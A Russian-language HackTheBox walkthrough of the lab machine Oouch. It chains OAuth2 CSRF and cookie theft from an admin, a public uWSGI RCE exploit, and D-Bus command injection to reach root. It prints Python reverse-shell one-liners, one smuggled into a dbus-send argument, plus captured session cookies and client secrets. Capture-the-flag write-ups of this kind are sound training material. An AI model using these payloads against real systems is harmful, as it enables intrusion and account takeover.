HackTheBox. Прохождение Oouch. OAuth2, RCE в uWSGI и LPE через DBUS

icga71mu7rhmle19_gezqtik5ls.png
Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.

В данной статье разберем атаку на OAuth2 аутентификацию через, а также зарегистрируем свое приложение для угона куки администратора. В добавок к этому, проэксплуатируем RCE в веб-сервере и сервере веб-приложений uWSGI, а также повысим привилегии через шину сообщений D-Bus.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.


Recon


Данная машина имеет IP адрес 10.10.10.177, который я добавляю в /etc/hosts.

10.10.10.177 	oouch.htb


Первым делом сканируем открытые порты. Так как сканировать все порты nmap«ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.182      --rate=500


kmapq5juzmdgl0-xo370n3bjtgk.png

Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A oouch.htb -p8000,22,21,5000,5555


6nwnzobyh6og04avc7pofz9w3_w.png

Таким образом, имеем:
— Порт 22 — SSH.
— Порт 8000 — отвечающий кодом 400 веб-сервер.
— Порт 5000 — веб-сервер, редирект на страницу авторизации.
— Порт 21 — FTP, на котором расположен файл project.txt, доступный с авторизацией от anonymous.

Зайдем на FTP как anonymous, скачаем файл и посмотрим.

qeiyupztxqiwbgaw-fwrnywb9v0.png

efqa7zhrfvogevf5dlfr2xhzyau.png

Ничего нам не говорит. Идем на веб-сервер.

wkj2z5aiawpagdu8pfv-spmkhmk.png

Как и следовало из отчета nmap, происходит редирект на страницу авторизации. Есть возможность регистрации, давайте зарегистрируемся, а потом авторизуемся.

ymxnm4jcsbngt0zmuo--73-amqe.png

yyl2viycu5mgc5fc75pm_0__s94.png

y2jkbvpqst2pxy8brsivrl0pw0c.png

Таким образом, сайт находится на стадии разработки, хранит минимум информации о пользователях, имеет возможность хранить документы (данная опция доступна только разработчику), а также имеет обратную связь с администраций. Нас уверяют, что сисадмин читает все сообщения.
При попытке угнать куки, тег был заблокирован, (кстати уже не блокируется).

uuzyiktja9x5iulwqgdhtaoiuo4.png

Не найдя никакого вектора, было решено просканировать директории.

dirb http://oouch.htb:5000/


0jckaq2kcc74enhiky0wfk6sxu0.png

И находим одну скрытую директорию oauth.

-bnss4oolurnp5-psoeow5sp-xo.png

Давайте добавим данный домен в /etc/hosts.
10.10.10.177    consumer.oouch.htb

t78onyx1fircm98cgl6cntajeak.png

Но происходит редирект. Давайте добавим и этот домен в /etc/hosts.
10.10.10.177    authorization.oouch.htb

g8rcnwtxzpxgxezuewwk2-zqvo4.png

Снова встречает страница авторизации. Авторизуемся с прежними учетными данными. Но при новой попытке, нас перебрасывает на 8000 порт.
consumer.oouch.htb:5000/oauth/connect → authorization.oouch.htb:8000/login/

c6o8v_teecxsoedeieo67_no3va.png

Сразу просканировав директории, не находим ничего интересного, поэтому регистрируемся и здесь.

duw9ljhvdmcunywwhu7cdzlnico.png

И находим новую директорию, которую не нашел dirb. Давайте проведем поиск в ней.

dirb http://authorization.oouch.htb:8000/oauth


91eg82uhjz5axacvlakj6ebwqwy.png

Есть еще одна директория! Но там нас встречает HTTP аутентификация.

0w86yyed6smi3gj7qwmdts3rjoi.png

Делаем и в этой директории.

dirb http://authorization.oouch.htb:8000/oauth/applications/


xgnadwczddkuwnbmuvalbrwqevs.png

Скорее всего в этой директории находятся приложения, причем их можно регистрировать. Больше ничего интересного здесь не находим.

Зарегистрировавшись везде, где было необходимо возвращаемся е первоначальному коннекту. Используется OAuth аутентификация.

OAuth аутентификация


OAuth — открытый протокол авторизации, который позволяет предоставить третьей стороне ограниченный доступ к защищённым ресурсам пользователя без необходимости передавать ей (третьей стороне) логин и пароль.

В OAuth используются три вида полномочий: учётные данные клиента (client credentials), временные учётные данные (temporary credentials) и токены (token credentials).

Шаги протокола OAuth 2.0:
1. Приложение запрашивает авторизацию для доступа к ресурсам сервиса от пользователя. Приложение должно предоставить идентификатор клиента (client ID), секрет клиента (client secret), URI перенаправления (redirect URI) и необходимые области для доступа.
2. Если пользователь авторизует запрос, приложение получает authorization grant.
3. Приложение запрашивает токен доступа с сервера авторизации, предоставляя аутентификацию личности и разрешение на авторизацию.
4. Если идентификация приложения аутентифицирована, а разрешение авторизации является действительным, сервер авторизации выдает токен доступа (одноразовый код). Авторизация завершена.
5. Приложение запрашивает ресурс у сервера ресурсов и предоставляет токен доступа для аутентификации.
6. Если токен доступа действителен, сервер ресурсов передает ресурс приложению.

o2a6tl45dfvoqcsugckynjbwz8w.png

Таким образом происходит связь учетной записи пользователя с определенными ресурсами на сервере ресурсов.

Атака на Oauth


На данный протокол может быть произведена атака, которая позволяет связать нашу учетную запись с ресурсами другого пользователя. Для этого нужно не использовать свой одноразовый токен доступа, а заставить другого пользователя передать его на сервер. Тогда учетная запись, которая владеет токеном, будет связана с ресурсами учетной записи, предоставившей его.
Так как сисадмин отвечает на все сообщения, то возможно он перейдет по ссылке, которую мы ему отправим. К тому же, в данном приложении токен доступа передается не в HTTP заголовке (как должно быть), а в параметре URL. Таким образом мы можем провести данную атаку.

Переходим по consumer.oouch.htb:5000/oauth/connect и отлавливаем с помощью Burp Suite.

vxmjve6xwxdb6612hue8cjzmf9e.png

Пропускаем данный запрос, и нас перенаправляют, причем с параметров client ID.

8q097tu8-qh5ptckt7olzwhae6s.png

Пропускаем и этот запрос. Снова следует перенаправление, где можем наблюдать другие параметры протокола аутентификации.

upawn_jwu23dddvysmnwdh_usly.png

Вновь пропускаем запрос. На странице появляется окно авторизации. Чтобы закончить нажимаем на кнопку авторизации.

nfx6_hl0ppk8gnwzdxv5kxna9-y.png

wt3dqan38hb2cpc6pltrchgvuly.png

Пропускаем данный запрос. И вот нас снова перенаправляют, причем в качестве параметра следует одноразовый код!

jhy1wdd83sqp5xb_px9fmpkjdxa.png

Сохраним данный токен и отбросим запрос. Давайте оправим администратору данную ссылку, чтобы когда он по ней перешел, наша учетная запись была привязана к его ресурсам (а если вспомнить — он имеет право хранить документы).

ttnpbwlqkvc5j3i8sxqjqmiszaw.png

Теперь пройдем по consumer.oouch.htb:5000/oauth/login.

gqs51nv---mcqvn3cstzwizslwm.png

eeeqr7egufwrd796mtlktnm5rgg.png

nmeghjdxojtv15jeouxw9cok5ui.png

Нажимаем на уже знакомую кнопку, и в открывшейся странице наблюдаем профиль пользователя qtc.

iqu6cz0hp5k8odb4ohw9vibfj4e.png

Давайте посмотрим документы.

1mi1-sgpx0lwyuqq3f1c6dltztu.png

Есть записи про про SSH ключ, пользовательский каталог, и учетные данные для регистрации приложений.

Entry Point


Если мы сможем зарегистрировать свое приложение, то сможем вынудить администратора перейти на него и узнать его куки!

Давайте вернемся на страницу регистрации приложений и авторизуемся. И в открывшейся форме зарегистрируем новое приложение, указав публичный тип клиента, кодовый тип гранта авторизации и укажем открытый на локальном хосте порт для подключения.

ekb5q6lc_n1esrfdzpdvnogw8x8.png

Сохраняем себе client ID и client secret. Давайте попробуем авторизоваться сами, чтобы проверить, что аутентификация работает и пользователь будет перенаправлен к нам.

Давайте сформируем ссылку, в соответствующих параметрах указываем данные зарегистрированного приложения:

authorization.oouch.htb:8000/oauth/authorize/? client_id=MP2A40aHGaTtXQxFrElh7b0wn8RyKzaiV6NgAaHs&redirect_uri=http://10.10.14.203:4321&grant_type=authorization_code&client_secret=e3B28aHhwKktAeio6MoeAi6kssfgc8daNfWsZBHBmnKViS4TkyERpfOlpiuHCZqw1nnOayfifLpY9bwN9J7oGfbcoAVGP1Z4×1DpCG7tVRMF5Wk9wVbAYjIy7Q7wmmt6

Теперь перейдем по ней и увидим подключение.

ij4md70igapaek2pklkd0f51g_g.png

Так как все работает, отправим ее администратору.

zkrpgwretrquzflha0e-b7ehs3i.png

Таким образом мы узнаем его куки. Давайте применим их.

xf5axqjiy9m8k0c5lasrzfqsqfo.png

И мы авторизованы на сервере как qtc.

USER


Чтобы обратиться к ресурсу, нам нужен токен, а чтобы сервер его нам вернул, изменим тип гранта авторизации на client_credentials.

bjdob2-aykvs-j1nd483iv1frsi.png

И запросим токен с помощью curl: установим метод POST (-X), необходимые заголовки HTTP (-H), cookie, данные, которые хотим отправить, а также разрешим редирект (-L). Так как ответ возвращается в формате JSON, то используем jq, чтобы красиво отобразить ответ.

curl -X POST 'http://authorization.oouch.htb:8000/oauth/token/' -H "Content-Type: application/x-www-form-urlencoded” --cookie
"csrftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" --data "grant_type=client_credentials&client_id=MP2A40aHGaTtXQxFrElh7b0wn8RyKzaiV6NgAaHs&client_secret=e3B28aHhwKktAeio6MoeAi6kssfgc8daNfWsZBHBmnKViS4TkyERpfOlpiuHCZqw1nnOayfifLpY9bwN9J7oGfbcoAVGP1Z4x1DpCG7tVRMF5Wk9wVbAYjIy7Q7wmmt6” -L -s | jq


zeq5ircwma1ygpfedyzq72h_38q.png

Получаем токен. И теперь мы можем обратиться к ресурсу, который значился в документах. Сделаем это также с помощью curl.

curl "http://authorization.oouch.htb:8000/api/get_user.txt/?access_token=p6gmg7DqbR9kS2BVS9vRQRolGsOhbU" --cookie
"csrftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" | jq


6otl_zbcesv_ja8jmd2nzkfym_k.png

Как и ожидалось, мы получаем информацию о пользователе. А вот что делать дальше я не знал! Догадка пришла, лишь когда мне намекнули «API для получения данных пользователя готово, а вот в планах еще для получения SSH ключа». Тогда я подумал, что по аналогии с API get_user для получения информации о пользователе, нужно попробовать обратиться у get_ssh.

curl "http://authorization.oouch.htb:8000/api/get_ssh/?access_token=p6gmg7DqbR9kS2BVS9vRQRolGsOhbU" --cookie "csr
ftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" | jq


4l3hj_zec0u3o05btfa8k3ksmhg.png

И получаем ключ пользователя qtc. Приведя его в нормальный вид, подключаемся к хосту и берем пользователя.

p-ynev3w6g-yzynybyathyf6ihy.png

ROOT


Для recon«a на хосте запустим LinPEAS. В итоге находим записку, оставленную рутом.

4yq9fpffe0wfd_820w_36u6cnbk.png

jiby6jnokk8mmdw_y8fci6kkkgm.png

И помимо того, что на хосте работает docker, и приватного ssh ключа, ничего не находим.

sb_uff_d4ciourwdqsan2x0i_o0.png

Скорее всего вектор атаки — это зайти на docker. К тому же в записке упоминаются DBus и iptables. Про iptables и так все знают, а вот DBus — другое дело. Dbus или Desktop Bus — это система, которая используется в основном в операционной системе Linux для того, чтобы различные приложения и сервисы могли общаться между собой.

Давай посмотрим найденные сетевые интерфейсы.

te0n_kijgcn7n28molqb3ff1bqk.png

И видим 2 хоста. На первый же получилось зайти.

chl8zn11qvbp2ja2j4vanrsvcg0.png

И находим директорию /code.

qqy-drvovvyhzqa05f-xtog-mfs.png

В start.sh находим использование uwsgi.

py-zvqzfyknhpbktdjvp4ygsfg0.png

И в routes.py находим использование dbus.

l5oonsn5ulefxmcfnlbm_vbio0m.png

jrc05tgxfi7jte1b-w-m0ogdgoo.png

Таким образом пользователь службы имеет право на использование dbus. То есть нам нужно получить шелл.

uWSGI — веб-сервер и сервер веб-приложений, первоначально реализованный для запуска приложений Python через протокол WSGI. Используется для запуска приложений на базе фреймворков Django, Flask и других. Поищем эксплоиты.

gohgat62a6qhjslijpka23qrfke.png

Скачиваем самый первый и загружаем на хост.

scp -i .ssh/id_rsa uwsgi-exp.py 172.18.0.5:~/


Запустим.

hqdefqn41bkz9bltoxecooomhzy.png

Таким образом нам нужен uwsgi сокет. Причем служба в данный момент работает.

hutxbe1xi_0xn5ws4u5_f5ros94.png

Значит и сокет будет в директории tmp.

izljkxgyshzq2zipwtqmp7tqpqk.png

Давайте запустим эксплоит со всеми параметрами.

znxxot0xfp8cadem0xpv7jn4kwa.png

Выдает ошибку при импорте bytes, зайдем и поменяем исходный код.

it3-fd10rxs4icevvx1gcqy3hcq.png

ffq0ryk24jns7ztbdlhfj1gr17k.png

Если снова запустить эксплоит, он отрабоет, но шела не будет. Я заменил bash шелл на python. Это сработало.

python uwsgi-exp.py -m unix -u /tmp/uwsgi.socket -c "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.18.0.1\",5432));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"


-pwaaeuk4p_6zdcnszqnv_ogjbc.png

В терминале с неткатом видим подключение.

rzn6qvjayxkag4u_zf2rvuj92s4.png

И вот теперь у нас есть права на запуск dbus. Команда dbus-send используется для отправки сообщения на шину сообщений D-Bus. Существует две общеизвестные шины сообщений: общесистемная (system) шина сообщений и шина сообщений для сеанса (session) входа пользователя в систему. Для использования dbus-send нужно знать «имя соединения», которое указывается в параметре --dest. Путь к объекту и имя сообщения для отправки должны быть всегда указаны. Следующие аргументы, если таковые имеются, являются содержимым сообщения (аргументы сообщения). Они даются в виде имени типа, двоеточия, а затем значения аргумента. Возможные имена типов: string, int32, uint32, double, byte, boolean.

Пример команды:

dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block  htb.oouch.Block.Block "string:; SHELL”


Используем --print-reply чтобы заблокировать ответ на запрос.

dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block  htb.oouch.Block.Block "string:;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.18.0.1\",6543));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])';"


7ucv7ytoz9xrlmc_yuadnnwvtxy.png

И видим успешное подключение.

epbqypgfanrxcsr3-eq9eq0fkqu.png

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

© Habrahabr.ru